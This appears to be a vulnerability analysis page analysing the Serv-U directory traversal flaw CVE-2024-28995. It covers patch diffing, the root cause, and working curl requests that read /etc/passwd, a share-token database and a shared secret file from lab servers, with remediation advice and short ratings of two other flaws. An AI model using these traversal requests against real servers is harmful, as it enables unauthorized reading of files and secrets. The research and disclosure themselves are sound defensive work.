Activity Feed
Technical Analysis
Based upon our Rapid7 Analysis, I have rated the attacker value of this vulnerability as Very High, as an unauthenticated attacker can read files from a server, and the vulnerable product is a file tranfser solution. I have rated the exploitability as Very High, as exploitation is trivial.
Technical Analysis
Overview
On June 5, 2024, SolarWinds published an advisory for CVE-2024-28995, a high-severity directory traversal vulnerability affecting their file transfer solution Serv-U. The vulnerability was discovered by researcher Hussein Daher of Web Immunify.
According to the vendor, the following versions of Serv-U are affected, running on either Windows or Linux:
- Serv-U FTP Server 15.4
- Serv-U Gateway 15.4
- Serv-U MFT Server 15.4
As per the vendor documentation, Serv-U version 15.3.2
and earlier will reach end of life in February 2025, and all versions below this have reached end of life and are unsupported.
Our analysis was conducted on a Windows Server 2022 system, running SolarWinds Serv-U File Server (64-bit) version 15.4.2.126
. We also confirmed exploitation against Serv-U File Server (64-bit) version 15.4.2.126
running on Linux. In both cases, all default installation options were used. When running Serv-U on either Windows or Linux, a new Serv-U File transfer and File Sharing “Domain” was created to reflect a real world deployment.
We have verified the vendor supplied hotfix 15.4.2 Hotfix 2
(version 15.4.2.157
) successfully remediates this vulnerability.
Analysis
The Serv-U application is largely a native code application written in what appears to be C++. The majority of the code is located in the Serv-U.dll
binary. We downloaded a vulnerable version of the application, version 15.4.2.126
, and the hotfix version 15.4.2.157
which contains the patch for CVE-2024-28995.
We analyzed both binaries with IDA Pro and then performed a binary diff using BinDiff. Looking at the BinDiff “function matches” results, we can see that only a single function has been modified in the hotfix.
Both versions of the modified function sub_18016DC30
, which has the same address in both binaries, can be decompiled and compared to get a better understanding of what has changed. Below is the full output of the functions changes.
diff --git a/func_vuln.c b/func_patched.c index a83d349..8a1bd0c 100644 --- a/func_vuln.c +++ b/func_patched.c @@ -25,24 +25,23 @@ CSUString *__fastcall sub_18016DC30(CSUString *this, __int64 a2, const wchar_t * char v29; // bl __int64 v30; // rax __int64 v31; // rax - __int64 v32; // rax - void **v34; // [rsp+38h] [rbp-38h] BYREF - char v35[8]; // [rsp+40h] [rbp-30h] BYREF - void **v36; // [rsp+48h] [rbp-28h] BYREF - wchar_t *v37; // [rsp+50h] [rbp-20h] BYREF - char v38[24]; // [rsp+58h] [rbp-18h] BYREF + void **v33; // [rsp+38h] [rbp-38h] BYREF + char v34[8]; // [rsp+40h] [rbp-30h] BYREF + void **v35; // [rsp+48h] [rbp-28h] BYREF + wchar_t *v36; // [rsp+50h] [rbp-20h] BYREF + char v37[24]; // [rsp+58h] [rbp-18h] BYREF - ATL::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>(&v37); - v36 = &CRhinoString::`vftable'; - std::vector<void *>::_Orphan_range(&v36); - v36 = (void **)&CSUString::`vftable'; - std::vector<void *>::_Orphan_range(&v36); + ATL::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>(&v36); + v35 = &CRhinoString::`vftable'; + std::vector<void *>::_Orphan_range(&v35); + v35 = (void **)&CSUString::`vftable'; + std::vector<void *>::_Orphan_range(&v35); PLH::VTableSwapHook::VTableSwapHook(this, v7, v8); - if ( (unsigned __int8)sub_1801A74A8(&v36, L"Web Client") ) + if ( (unsigned __int8)sub_1801A74F8(&v35, L"Web Client") ) { Manager = ATL::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>::GetManager(&qword_18046D5F8); ATL::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>( - &v34, + &v33, Manager); v10 = -1LL; do @@ -50,91 +49,88 @@ CSUString *__fastcall sub_18016DC30(CSUString *this, __int64 a2, const wchar_t * while ( aWebClient_0[v10] ); LABEL_4: ATL::CSimpleStringT<wchar_t,1>::Concatenate( - &v34, + &v33, qword_18046D5F8, - *(unsigned int *)(qword_18046D5F8 - 16), + *((unsigned int *)qword_18046D5F8 - 4), L"Web Client", v10); - ((void (__fastcall *)(void ***, void ***))v36[20])(&v36, &v34); -LABEL_46: - ATL::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>::~CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>(&v34); - goto LABEL_47; + ((void (__fastcall *)(void ***, void ***))v35[20])(&v35, &v33); + ATL::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>::~CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>(&v33); + goto LABEL_48; } - if ( (unsigned __int8)sub_1801A74A8(&v36, L"Admin") ) + if ( (unsigned __int8)sub_1801A74F8(&v35, L"Admin") ) { - if ( a4 ) + if ( !a4 + || (*(__int64 (__fastcall **)(__int64))(*(_QWORD *)a4 + 768LL))(a4) + && (v11 = (*(__int64 (__fastcall **)(__int64))(*(_QWORD *)a4 + 768LL))(a4), !(unsigned int)sub_1800830B0(v11)) ) { - if ( !(*(__int64 (__fastcall **)(__int64))(*(_QWORD *)a4 + 768LL))(a4) - || (v11 = (*(__int64 (__fastcall **)(__int64))(*(_QWORD *)a4 + 768LL))(a4), (unsigned int)sub_1800830B0(v11)) ) - { - v12 = ATL::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>::GetManager(&qword_18046D5F8); - ATL::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>( - &v34, - v12); - v13 = -1LL; - do - ++v13; - while ( aAdmin_1[v13] ); - ATL::CSimpleStringT<wchar_t,1>::Concatenate( - &v34, - qword_18046D5F8, - *(unsigned int *)(qword_18046D5F8 - 16), - L"Admin", - v13); - ((void (__fastcall *)(void ***, void ***))v36[20])(&v36, &v34); - goto LABEL_46; - } + a3 = L"404NotFound.htm"; + v14 = ATL::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>::GetManager(&qword_18046D5F8); + ATL::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>( + &v33, + v14); + v10 = -1LL; + do + ++v10; + while ( aWebClient_0[v10] ); + goto LABEL_4; } - a3 = L"404NotFound.htm"; - v14 = ATL::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>::GetManager(&qword_18046D5F8); + v12 = ATL::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>::GetManager(&qword_18046D5F8); ATL::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>( - &v34, - v14); - v10 = -1LL; + &v33, + v12); + v13 = -1LL; do - ++v10; - while ( aWebClient_0[v10] ); - goto LABEL_4; + ++v13; + while ( aAdmin_1[v13] ); + ATL::CSimpleStringT<wchar_t,1>::Concatenate( + &v33, + qword_18046D5F8, + *((unsigned int *)qword_18046D5F8 - 4), + L"Admin", + v13); + ((void (__fastcall *)(void ***, void ***))v35[20])(&v35, &v33); + ATL::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>::~CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>(&v33); } - if ( (unsigned __int8)sub_1801A74A8(&v36, L"Common") ) + else if ( (unsigned __int8)sub_1801A74F8(&v35, L"Common") ) { v15 = ATL::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>::GetManager(&qword_18046D5F8); ATL::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>( - &v34, + &v33, v15); v16 = -1LL; do ++v16; while ( aCommon_0[v16] ); ATL::CSimpleStringT<wchar_t,1>::Concatenate( - &v34, + &v33, qword_18046D5F8, - *(unsigned int *)(qword_18046D5F8 - 16), + *((unsigned int *)qword_18046D5F8 - 4), L"Common", v16); - ((void (__fastcall *)(void ***, void ***))v36[20])(&v36, &v34); - goto LABEL_46; + ((void (__fastcall *)(void ***, void ***))v35[20])(&v35, &v33); + ATL::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>::~CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>(&v33); } - if ( (unsigned __int8)sub_1801A74A8(&v36, L"FVJV") ) + else if ( (unsigned __int8)sub_1801A74F8(&v35, L"FVJV") ) { v17 = ATL::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>::GetManager(&qword_18046D5F8); ATL::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>( - &v34, + &v33, v17); v18 = -1LL; do ++v18; while ( aFvjv_1[v18] ); ATL::CSimpleStringT<wchar_t,1>::Concatenate( - &v34, + &v33, qword_18046D5F8, - *(unsigned int *)(qword_18046D5F8 - 16), + *((unsigned int *)qword_18046D5F8 - 4), L"FVJV", v18); - ((void (__fastcall *)(void ***, void ***))v36[20])(&v36, &v34); - goto LABEL_46; + ((void (__fastcall *)(void ***, void ***))v35[20])(&v35, &v33); + ATL::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>::~CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>(&v33); } - if ( (unsigned __int8)sub_1801A74A8(&v36, L"%CUSTOM_HTML_DIR%") && (dword_18046D748 & 0x20000000) != 0 ) + else if ( (unsigned __int8)sub_1801A74F8(&v35, L"%CUSTOM_HTML_DIR%") && (dword_18046D748 & 0x20000000) != 0 ) { v19 = sub_180153E60(a4); v20 = (CDomainAttrs *)v19; @@ -146,98 +142,100 @@ LABEL_46: 0LL, 0LL, 0LL); - if ( CDomainAttrs::GetUseCustomHTML(v20) && v21 && !(unsigned __int8)sub_1801A7484(v21 + 106) ) + if ( CDomainAttrs::GetUseCustomHTML(v20) && v21 && !(unsigned __int8)sub_1801A74D4(v21 + 106) ) { - v22 = (__int64)v36; + v22 = (__int64)v35; v23 = (*(__int64 (__fastcall **)(__int64))(*(_QWORD *)v21 + 448LL))(v21); - (*(void (__fastcall **)(void ***, __int64))(v22 + 152))(&v36, v23); + (*(void (__fastcall **)(void ***, __int64))(v22 + 152))(&v35, v23); } } } - else + else if ( (unsigned __int8)sub_1801A74F8(&v35, L"Sidecar") && (dword_18046D748 & 0x40000000) != 0 ) { - if ( (unsigned __int8)sub_1801A74A8(&v36, L"Sidecar") && (dword_18046D748 & 0x40000000) != 0 ) - { - v24 = ATL::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>::GetManager(&qword_18046D5F8); - ATL::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>( - &v34, - v24); - v25 = -1LL; - do - ++v25; - while ( aSidecar_0[v25] ); - ATL::CSimpleStringT<wchar_t,1>::Concatenate( - &v34, - qword_18046D5F8, - *(unsigned int *)(qword_18046D5F8 - 16), - L"Sidecar", - v25); - ((void (__fastcall *)(void ***, void ***))v36[20])(&v36, &v34); - goto LABEL_46; - } - if ( (unsigned __int8)sub_1801A74A8(&v36, L"Demo") && (byte_18046D5D1 & 1) != 0 ) - { - v26 = ATL::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>::GetManager(&qword_18046D5F8); - ATL::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>( - &v34, - v26); - v27 = -1LL; - do - ++v27; - while ( aDemo[v27] ); - ATL::CSimpleStringT<wchar_t,1>::Concatenate( - &v34, - qword_18046D5F8, - *(unsigned int *)(qword_18046D5F8 - 16), - L"Demo", - v27); - ((void (__fastcall *)(void ***, void ***))v36[20])(&v36, &v34); - goto LABEL_46; - } - if ( !(unsigned __int8)sub_1801A74A8(&v36, L"WebClientNew") ) - { - v32 = sub_18005C6CC(&v34, &qword_18046D5F8, &v37); - ((void (__fastcall *)(void ***, __int64))v36[20])(&v36, v32); - goto LABEL_46; - } - ATL::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>(v35); - v34 = &CRhinoString::`vftable'; - std::vector<void *>::_Orphan_range(&v34); - v34 = (void **)&CSUString::`vftable'; - std::vector<void *>::_Orphan_range(&v34); - v28 = sub_1801A6BD4(&v34, v38); - v29 = sub_1801A7484(v28); - `std::locale::global'::`1'::dtor$2(v38); - CSUString::~CSUString((CSUString *)&v34); + v24 = ATL::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>::GetManager(&qword_18046D5F8); + ATL::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>( + &v33, + v24); + v25 = -1LL; + do + ++v25; + while ( aSidecar_0[v25] ); + ATL::CSimpleStringT<wchar_t,1>::Concatenate( + &v33, + qword_18046D5F8, + *((unsigned int *)qword_18046D5F8 - 4), + L"Sidecar", + v25); + ((void (__fastcall *)(void ***, void ***))v35[20])(&v35, &v33); + ATL::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>::~CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>(&v33); + } + else if ( (unsigned __int8)sub_1801A74F8(&v35, L"Demo") && (byte_18046D5D1 & 1) != 0 ) + { + v26 = ATL::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>::GetManager(&qword_18046D5F8); + ATL::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>( + &v33, + v26); + v27 = -1LL; + do + ++v27; + while ( aDemo[v27] ); + ATL::CSimpleStringT<wchar_t,1>::Concatenate( + &v33, + qword_18046D5F8, + *((unsigned int *)qword_18046D5F8 - 4), + L"Demo", + v27); + ((void (__fastcall *)(void ***, void ***))v35[20])(&v35, &v33); + ATL::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>::~CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>(&v33); + } + else if ( (unsigned __int8)sub_1801A74F8(&v35, L"WebClientNew") ) + { + ATL::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>(v34); + v33 = &CRhinoString::`vftable'; + std::vector<void *>::_Orphan_range(&v33); + v33 = (void **)&CSUString::`vftable'; + std::vector<void *>::_Orphan_range(&v33); + v28 = sub_1801A6C24(&v33, v37); + v29 = sub_1801A74D4(v28); + `std::locale::global'::`1'::dtor$2(v37); + CSUString::~CSUString((CSUString *)&v33); if ( !v29 ) { v30 = ATL::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>::GetManager(&qword_18046D5F8); ATL::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>( - &v34, + &v33, v30); v31 = -1LL; do ++v31; while ( aWebclientnew[v31] ); ATL::CSimpleStringT<wchar_t,1>::Concatenate( - &v34, + &v33, qword_18046D5F8, - *(unsigned int *)(qword_18046D5F8 - 16), + *((unsigned int *)qword_18046D5F8 - 4), L"WebClientNew", v31); - ((void (__fastcall *)(void ***, void ***))v36[20])(&v36, &v34); - goto LABEL_46; + ((void (__fastcall *)(void ***, void ***))v35[20])(&v35, &v33); + ATL::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>::~CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wchar_t>>>(&v33); } } -LABEL_47: - if ( !(unsigned __int8)sub_1801A7484(&v36) ) + else + { + CSUString::MakeDirSeparator((CSUString *)&v35); + if ( (unsigned int)sub_1801A6A18(&v35, L"\\..\\", 0LL) == -1 ) + CSUString::BuildLocalPath((CSUString *)&v35, qword_18046D5F8); + else + ATL::CSimpleStringT<wchar_t,1>::Empty(&v36); + } +LABEL_48: + if ( !(unsigned __int8)sub_1801A74D4(&v35) ) { (*(void (__fastcall **)(CSUString *, const wchar_t *))(*(_QWORD *)this + 152LL))(this, a3); CSUString::MakeDirSeparator(this); - CSUString::BuildLocalPath(this, v37); - if ( (unsigned int)sub_1801A69C8(this, L"\\..\\", 0LL) != -1 ) + CSUString::BuildLocalPath(this, v36); + if ( (unsigned int)sub_1801A6A18(this, L"\\..\\", 0LL) != -1 ) ATL::CSimpleStringT<wchar_t,1>::Empty((char *)this + 8); } - CSUString::~CSUString((CSUString *)&v36); + CSUString::~CSUString((CSUString *)&v35); return this; }
The modified function processes a file path. We can see the patched function has the addition of the following check.
else { CSUString::MakeDirSeparator((CSUString *)&v35); // replace '/' characters with '\' character if ( (unsigned int)sub_1801A6A18(&v35, L"\\..\\", 0LL) == -1 ) // CString::Find CSUString::BuildLocalPath((CSUString *)&v35, qword_18046D5F8); else ATL::CSimpleStringT<wchar_t,1>::Empty(&v36); }
The path is checked to see if it contains a double dot path segment (\..\
), and if found the path will be cleared. Seeing the addition of a check like this in the patch is a strong indication that this function is the root cause of the directory traversal vulnerability.
When we investigate the usage of this vulnerable function, herein renamed to vulnerable_path_traversal_function
, we see a pattern emerge of how this function is used. For example:
get_request_parameter((__int64)v51, (QAnimationDriver *)v55, (__int64)L"InternalDir"); get_request_parameter((__int64)v51, (QAnimationDriver *)&v42, (__int64)L"InternalFile"); v14 = vulnerable_path_traversal_function((CSUString *)&v36, v56, v43, a1);
In almost all uses of vulnerable_path_traversal_function
, two HTTP request parameters named InternalDir
and InternalFile
are retrieved before calling into the vulnerable function.
Could simply providing these two request parameters trigger the directory traversal vulnerability and read an arbitrary file? A quick curl command shows we are looking in the right place…
Note: The ampersand (&) was escaped with a caret (^), as curl was run on a Windows host for every example throughout this analysis.
curl -i -k --path-as-is http://192.168.86.68/?InternalDir=/../../^&InternalFile=hax
The following file system access is captured by Procmon on the target server, and shows the path traversal vulnerability in operation.
We can now modify the request’s path to reach an arbitrary file on the target server we want to read. On Windows, the Serv-U program data is stored in the folder C:\ProgramData\RhinoSoft\Serv-U\
. In this folder, the file Serv-U-StartupLog.txt
contains the applications logging information emitted during application startup. This file will contain the target Serv-U server’s version number among other things. This is a good file candidate to read in order to verify the vulnerability.
Reworking our curl request, we can now read the C:\ProgramData\RhinoSoft\Serv-U\Serv-U-StartupLog.txt
file as shown below.
>curl -i -k --path-as-is http://192.168.86.68/?InternalDir=/../../../../ProgramData/RhinoSoft/Serv-U/^&InternalFile=Serv-U-StartupLog.txt HTTP/1.0 200 OK Server: Serv-U/15.4.2.126 Date: Tue, 11 Jun 2024 13:46:06 GMT Accept-Encoding: deflate X-Permitted-Cross-Domain-Policies: none Connection: close X-Frame-Options: sameorigin X-Same-Domain: 1 X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block Referrer-Policy: same-origin Strict-Transport-Security: max-age=31536000; includeSubDomains Content-Type: text/plain Pragma: no-cache Cache-Control: no-cache,no-store,max-age=0,must-revalidate Expires: -1 Set-Cookie: CsrfToken=; expires=Thu, 01-Jan-1970 00:00:01 GMT; SameSite=Strict; path=/; httponly Content-Length: 2119 [01] Tue 11Jun24 01:28:15 - Serv-U File Server:{B30A1319-9C51-8241-728C-F6FCD0C1BFD2} (64-bit) - Version 15.4 (15.4.2.126) - (C) 2024 SolarWinds Worldwide, LLC. All rights reserved. [01] Tue 11Jun24 01:28:15 - Build Date: Thursday 21 March 2024 09:33 [01] Tue 11Jun24 01:28:15 - Operating System: Windows Server 2012 64-bit; Version: 6.2.9200 [01] Tue 11Jun24 01:28:15 - Loaded graphics library. [01] Tue 11Jun24 01:28:15 - Loaded ODBC database library. [01] Tue 11Jun24 01:28:15 - Loaded SSL/TLS libraries. [01] Tue 11Jun24 01:28:15 - Loaded SQLite library. [01] Tue 11Jun24 01:28:15 - FIPS 140-2 mode is OFF. [01] Tue 11Jun24 01:28:15 - Valid Server Identity found [01] Tue 11Jun24 01:28:15 - WinSock Version 2.2 initialized. [01] Tue 11Jun24 01:28:15 - HTTP server listening on port number 43958, IP 127.0.0.1 [01] Tue 11Jun24 01:28:15 - HTTP server listening on port number 43958, IP ::1 [01] Tue 11Jun24 01:33:46 - FTP server listening on port number 21, IP 0.0.0.0 (192.168.86.68, 127.0.0.1) [01] Tue 11Jun24 01:33:46 - FTPS server listening on port number 990, IP 0.0.0.0 (192.168.86.68, 127.0.0.1) [01] Tue 11Jun24 01:33:46 - SFTP (SSH) server listening on port number 22, IP 0.0.0.0 (192.168.86.68, 127.0.0.1) [01] Tue 11Jun24 01:33:46 - HTTP server listening on port number 80, IP 0.0.0.0 (192.168.86.68, 127.0.0.1) [01] Tue 11Jun24 01:33:46 - HTTPS server listening on port number 443, IP 0.0.0.0 (192.168.86.68, 127.0.0.1) [01] Tue 11Jun24 01:33:46 - FTP server listening on port number 21, IP :: (fd00::f7d7:c17c:722:4a8f, fe80::201b:ef99:f597:397%5, ::1) [01] Tue 11Jun24 01:33:46 - FTPS server listening on port number 990, IP :: (fd00::f7d7:c17c:722:4a8f, fe80::201b:ef99:f597:397%5, ::1) [01] Tue 11Jun24 01:33:46 - SFTP (SSH) server listening on port number 22, IP :: (fd00::f7d7:c17c:722:4a8f, fe80::201b:ef99:f597:397%5, ::1) [01] Tue 11Jun24 01:33:46 - HTTP server listening on port number 80, IP :: (fd00::f7d7:c17c:722:4a8f, fe80::201b:ef99:f597:397%5, ::1) [01] Tue 11Jun24 01:33:46 - HTTPS server listening on port number 443, IP :: (fd00::f7d7:c17c:722:4a8f, fe80::201b:ef99:f597:397%5, ::1)
Success! We can now traverse the operating system’s file system via double dot path notation and read any file (including binary files), so long as we know the file path we want to read from.
It is interesting to note that we targeted a Windows system, but were able to pass forward slash (/
) characters as the path separator in our HTTP request. On Windows, the backslash character (\
) is the path separator. This appears to be a key part of the vulnerability’s root cause. Investigating further, we discover that an attempt is made in the vulnerable function to detect path traversal by looking for a path segment \..\
in the attacker supplied path. However if we supply path segments separated by a forward slash, e.g. /../
, we can bypass this check. Later, in the function sub_180165B60
, before a call to wfopen_s
to actually open this file, a helper method is called which will replace all /
characters with the underlying operating systems native path separator \
. Therefore we can pass the check for a path traversal path segment by supplying a path that will initially be constructed as:
C:\Program Files\RhinoSoft\Serv-U\Client\/../../../../ProgramData/RhinoSoft/Serv-U/\Serv-U-StartupLog.txt
And then prior to being opened, the path will be transformed to:
C:\Program Files\RhinoSoft\Serv-U\Client\\..\..\..\..\ProgramData\RhinoSoft\Serv-U\\Serv-U-StartupLog.txt
Which is a valid path on Windows. On a Linux based target the technique is the same, however the path separators are reversed, so \
will be replaced with /
.
A default Windows installation will run the Serv-U service with NT AUTHORITY\NETWORK SERVICE
permissions. A default Linux installation will run the Serv-U service with root
permissions. The permissions of the running Serv-U service will impact the ability to read some files, should the Serv-U service not have sufficient permission to read that file. If the Serv-U service is running on Linux as root
for example, this will not be an issue.
Another interesting file to read would be C:\ProgramData\RhinoSoft\Serv-U\Shares\Serv-U.FileShares
. This is a SQLite3 database containing the ShareToken
of every file shared by Serv-U. The ShareToken
is a secret needed for an external party to read a shared file. However on Windows this file is locked, and attempting to read this file will not work. The call to kernelbase!CreateFileW
in the Serv-U.exe
process will return ERROR_SHARING_VIOLATION
.
When targeting a Linux based system, we can read an arbitrary file such as /etc/passwd
as shown below. Note that path separators must be backslashes (\
) and not forward slashes (/
).
>curl -i -k --path-as-is https://192.168.86.43/?InternalDir=\..\..\..\..\etc^&InternalFile=passwd HTTP/1.0 200 OK Server: Serv-U/15.4.2.126 Date: Tue, 11 Jun 2024 14:55:28 GMT Accept-Encoding: deflate X-Permitted-Cross-Domain-Policies: none Connection: close X-Frame-Options: sameorigin X-Same-Domain: 1 X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block Referrer-Policy: same-origin Strict-Transport-Security: max-age=31536000; includeSubDomains Last-Modified: Tue, 16 Jan 2024 10:58:11 GMT Expires: -1 Cache-Control: must-revalidate, private Content-Length: 3017 root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
While the SQLite database Serv-U.FileShares
is locked on Windows, we can successfully read this file on a Linux target, as shown below:
curl -i -k --path-as-is https://192.168.86.43/?InternalDir=\..\Shares^&InternalFile=Serv-U.FileShares --output Serv-U.FileShares % Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed 100 61440 100 61440 0 0 1965k 0 --:--:-- --:--:-- --:--:-- 2000k
The resulting output will contain an HTTP response header that we must first strip out in order to leave only the desired file’s content. Then, using a tool like DB Browser for SQLite, we can read the database and discover every shared file on the target system.
Knowing the location of a shared file, as given in the FullPath
column of the ad_hoc_files
table, we can now read the shared file as follows:
Note the random directory name in the path (PzhW3v7W
in the example above), which we would not be able to guess without first reading the Serv-U.FileShares
database.
>curl -i -k --path-as-is https://192.168.86.43/?InternalDir=\..\..\..\..\testdomain\7\PzhW3v7W^&InternalFile=secrets.txt HTTP/1.0 200 OK Server: Serv-U/15.4.2.126 Date: Tue, 11 Jun 2024 15:56:44 GMT Accept-Encoding: deflate X-Permitted-Cross-Domain-Policies: none Connection: close X-Frame-Options: sameorigin X-Same-Domain: 1 X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block Referrer-Policy: same-origin Strict-Transport-Security: max-age=31536000; includeSubDomains Content-Type: text/plain Pragma: no-cache Cache-Control: no-cache,no-store,max-age=0,must-revalidate Expires: -1 Set-Cookie: CsrfToken=; expires=Thu, 01-Jan-1970 00:00:01 GMT; SameSite=Strict; path=/; secure; httponly Content-Length: 18 THIS IS A SECRET!
Remediation
SolarWinds has released a hotfix 15.4.2 Hotfix 2
to remediate this issue. Serv-U customers are advised to apply this hotfix on an urgent basis.
Further information about the hotfix is available from the vendor here.
References
Technical Analysis
I have rated the attacker value as high, as if the requirement to exploitation are met the attacker can get remote unauthenticated RCE on the target Windows server. I have rated the Exploitability as Low as there are several prerequisites for a target to be vulnerable, specifically.
- Target must be a web server running on a Windows system. A Web server on Linux for example can not be vulnerable. Currently I have only seen vulnerable Apache based configurations. I could not get IIS to be vulnerable during testing.
- Target webserver must expose PHP in CGI mode (as opposed to FastCGI mode which is generally more common), or expose the CGI binary directly through an Apache
ScriptAlias
directive.
- The target Windows OS must have its system locale set to either Japanese (Code page 932) or Chinese (Code pages 950 or 936). For this reason most systems that meet the other requirements will not be exploitable, as the systems locale must use a code page that can cause the vulnerability.
It is worth noting that XAMPP for Windows is in a vulnerable configuration by default, however the target Windows system XAMPP is running on still must meet the locale requirement of either Japanese or Chinese as mentioned above.
Technical Analysis
The Rejetto HTTP File Server (HFS) version 2.x is vulnerable to an unauthenticated server side template injection (SSTI) vulnerability. A remote unauthenticated attacker can execute code with the privileges of the user account running the HFS.exe
server process. The vulnerability has been confirmed to work against version 2.4.0 RC7
and 2.3m
. The Rejetto HTTP File Server (HFS) version 2.x is no longer supported by the maintainers and no patch is available. Users are recommended to upgrade to version 3.x.
